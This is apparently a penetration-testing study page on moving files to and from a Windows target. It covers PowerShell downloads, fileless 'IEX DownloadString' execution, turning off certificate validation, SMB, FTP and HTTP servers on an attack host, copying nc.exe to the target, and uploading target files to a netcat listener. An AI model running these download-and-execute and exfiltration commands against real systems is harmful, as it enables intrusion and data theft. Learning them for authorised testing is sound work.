Powershell Web Downloads

Method Description
OpenRead Returns the data from a resource as a Stream.
OpenReadAsync Returns the data from a resource without blocking the calling thread.
DownloadData Downloads data from a resource and returns a Byte array.
DownloadDataAsync Downloads data from a resource and returns a Byte array without blocking the calling thread.
DownloadFile Downloads data from a resource to a local file.
DownloadFileAsync Downloads data from a resource to a local file without blocking the calling thread.
DownloadString Downloads a String from a resource and returns a String.
DownloadStringAsync Downloads a String from a resource without blocking the calling thread.

File Download

PS C:\xyz> # Example: (New-Object Net.WebClient).DownloadFile('<Target File URL>','<Output File Name>')
PS C:\xyz> (New-Object Net.WebClient).DownloadFile('','C:\Users\Public\Downloads\PowerView.ps1')

PS C:\xyz> # Example: (New-Object Net.WebClient).DownloadFileAsync('<Target File URL>','<Output File Name>')
PS C:\xyz> (New-Object Net.WebClient).DownloadFileAsync('', 'PowerViewAsync.ps1')

PowerShell DownloadString - Fileless Method

Fileless attacks work by using some operating system functions to download the payload and execute it directly. PowerShell can also be used to perform fileless attacks. Instead of downloading a PowerShell script to disk, we can run it directly in memory using the Invoke-Expression cmdlet or the alias IEX.

PS C:\xyz> IEX (New-Object Net.WebClient).DownloadString('')

IEX also accepts pipeline input.

PS C:\xyz> (New-Object Net.WebClient).DownloadString('') | IEX

PowerShell Invoke-WebRequest

From PowerShell 3.0 onwards, the Invoke-WebRequest cmdlet is also available, but it is noticeably slower at downloading files. You can use the aliases iwr, curl, and wget instead of the Invoke-WebRequest full name.

PS C:\xyz> Invoke-WebRequest -OutFile PowerView.ps1

Common Errors with PowerShell

There may be cases when the Internet Explorer first-launch configuration has not been completed, which prevents the download.

PS C:\xyz> Invoke-WebRequest https://<ip>/PowerView.ps1 | IEX

Invoke-WebRequest : The response content cannot be parsed because the Internet Explorer engine is not available, or Internet Explorer's first-launch configuration is not complete. Specify the UseBasicParsing parameter and try again.
At line:1 char:1
+ Invoke-WebRequest ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotImplemented: (:) [Invoke-WebRequest], NotSupportedException
+ FullyQualifiedErrorId : WebCmdletIEDomNotSupportedException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand

PS C:\xyz> Invoke-WebRequest https://<ip>/PowerView.ps1 -UseBasicParsing | IEX

Another error in PowerShell downloads is related to the SSL/TLS secure channel if the certificate is not trusted. We can bypass that error with the following command:

PS C:\xyz> IEX(New-Object Net.WebClient).DownloadString('')

Exception calling "DownloadString" with "1" argument(s): "The underlying connection was closed: Could not establish trust
relationship for the SSL/TLS secure channel."
At line:1 char:1
+ IEX(New-Object Net.WebClient).DownloadString('https://raw.githubuserc ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : WebException
PS C:\xyz> [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}

SMB Downloads

We can use SMB to download files from our Host easily. We need to create an SMB server on our Host with from Impacket and then use copy, move, PowerShell Copy-Item, or any other tool that allows connection to SMB.

Create the SMB Server

neutron@kali[/kali]$ sudo impacket-smbserver share -smb2support /tmp/smbshare

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

Copy a File from the SMB Server

C:\xyz> copy \\\share\nc.exe

        1 file(s) copied.

New versions of Windows block unauthenticated guest access, as we can see in the following command:

C:\xyz> copy \\\share\nc.exe

You can't access this shared folder because your organization's security policies block unauthenticated guest access. These policies help protect your PC from unsafe or malicious devices on the network.

To transfer files in this scenario, we can set a username and password using our Impacket SMB server and mount the SMB server on our windows target machine:

neutron@kali[/kali]$ sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

Mount the SMB Server with Username and Password

C:\xyz> net use n: \\\share /user:test test

The command completed successfully.

C:\xyz> copy n:\nc.exe
        1 file(s) copied.

FTP Downloads

We can configure an FTP Server in our attack host using Python3 pyftpdlib module.

Installing the FTP Server Python3 Module - pyftpdlib

neutron@kali[/kali]$ sudo pip3 install pyftpdlib

Setting up a Python3 FTP Server

neutron@kali[/kali]$ sudo python3 -m pyftpdlib --port 21

[I 2022-05-17 10:09:19] concurrency model: async
[I 2022-05-17 10:09:19] masquerade (NAT) address: None
[I 2022-05-17 10:09:19] passive ports: None
[I 2022-05-17 10:09:19] >>> starting FTP server on, pid=3210 <<<

Transfering Files from an FTP Server Using PowerShell

PS C:\xyz> (New-Object Net.WebClient).DownloadFile('', 'ftp-file.txt')

There are also situations such as password cracking, analysis, exfiltration, etc., where we must upload files from our target machine into our attack host. We can use the same methods we used for download operation but now for Uploads.

PowerShell Base64 Encode & Decode

Encode File Using PowerShell

PS C:\xyz> [Convert]::ToBase64String((Get-Content -path "C:\Windows\system32\drivers\etc\hosts" -Encoding byte))

PS C:\xyz> Get-FileHash "C:\Windows\system32\drivers\etc\hosts" -Algorithm MD5 | select Hash


Copy this content and paste it into our attack host, use the base64 command to decode it, and use the md5sum application to confirm the transfer happened correctly.

Decode Base64 String in Linux

neutron@kali[/kali]$ echo IyBDb3B5cmlnaHQgKGMpIDE5OTMtMjAwOSBNaWNyb3NvZnQgQ29ycC4NCiMNCiMgVGhpcyBpcyBhIHNhbXBsZSBIT1NUUyBmaWxlIHVzZWQgYnkgTWljcm9zb2Z0IFRDUC9JUCBmb3IgV2luZG93cy4NCiMNCiMgVGhpcyBmaWxlIGNvbnRhaW5zIHRoZSBtYXBwaW5ncyBvZiBJUCBhZGRyZXNzZXMgdG8gaG9zdCBuYW1lcy4gRWFjaA0KIyBlbnRyeSBzaG91bGQgYmUga2VwdCBvbiBhbiBpbmRpdmlkdWFsIGxpbmUuIFRoZSBJUCBhZGRyZXNzIHNob3VsZA0KIyBiZSBwbGFjZWQgaW4gdGhlIGZpcnN0IGNvbHVtbiBmb2xsb3dlZCBieSB0aGUgY29ycmVzcG9uZGluZyBob3N0IG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aGUgaG9zdCBuYW1lIHNob3VsZCBiZSBzZXBhcmF0ZWQgYnkgYXQgbGVhc3Qgb25lDQojIHNwYWNlLg0KIw0KIyBBZGRpdGlvbmFsbHksIGNvbW1lbnRzIChzdWNoIGFzIHRoZXNlKSBtYXkgYmUgaW5zZXJ0ZWQgb24gaW5kaXZpZHVhbA0KIyBsaW5lcyBvciBmb2xsb3dpbmcgdGhlIG1hY2hpbmUgbmFtZSBkZW5vdGVkIGJ5IGEgJyMnIHN5bWJvbC4NCiMNCiMgRm9yIGV4YW1wbGU6DQojDQojICAgICAgMTAyLjU0Ljk0Ljk3ICAgICByaGluby5hY21lLmNvbSAgICAgICAgICAjIHNvdXJjZSBzZXJ2ZXINCiMgICAgICAgMzguMjUuNjMuMTAgICAgIHguYWNtZS5jb20gICAgICAgICAgICAgICMgeCBjbGllbnQgaG9zdA0KDQojIGxvY2FsaG9zdCBuYW1lIHJlc29sdXRpb24gaXMgaGFuZGxlZCB3aXRoaW4gRE5TIGl0c2VsZi4NCiMJMTI3LjAuMC4xICAgICAgIGxvY2FsaG9zdA0KIwk6OjEgICAgICAgICAgICAgbG9jYWxob3N0DQo= | base64 -d > hosts
neutron@kali[/kali]$ md5sum hosts 

3688374325b992def12793500307566d  hosts

PowerShell Web Uploads

PowerShell doesn't have a built-in function for upload operations, but we can use Invoke-WebRequest or Invoke-RestMethod to build our upload function. We'll also need a web server that accepts uploads.

Installing a Configured WebServer with Upload

neutron@kali[/kali]$ pip3 install uploadserver

Collecting upload server
  Using cached uploadserver-2.0.1-py3-none-any.whl (6.9 kB)
Installing collected packages: uploadserver
Successfully installed uploadserver-2.0.1
neutron@kali[/kali]$ python3 -m uploadserver

File upload available at /upload
Serving HTTP on port 8000 ( ...

PowerShell Script to Upload a File to Python Upload Server

PS C:\xyz> IEX(New-Object Net.WebClient).DownloadString('')
PS C:\xyz> Invoke-FileUpload -Uri -File C:\Windows\System32\drivers\etc\hosts

[+] File Uploaded:  C:\Windows\System32\drivers\etc\hosts
[+] FileHash:  5E7241D66FD77E9E8EA866B6278B2373

PowerShell Base64 Web Upload

Another way to use PowerShell and base64 encoded files for upload operations is by using Invoke-WebRequest or Invoke-RestMethod together with Netcat. We use Netcat to listen in on a port we specify and send the file as a POST request. Finally, we copy the output and use the base64 decode function to convert the base64 string into a file.

PS C:\xyz> $b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))
PS C:\xyz> Invoke-WebRequest -Uri -Method POST -Body $b64

We catch the base64 data with Netcat and use the base64 application with the decode option to convert the string to the file.

neutron@kali[/kali]$ nc -lvnp 8000

listening on [any] 8000 ...
connect to [] from (UNKNOWN) [] 50923
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682
Content-Type: application/x-www-form-urlencoded
Content-Length: 1820
Connection: Keep-Alive

neutron@kali[/kali]$ echo <base64> | base64 -d -w 0 > hosts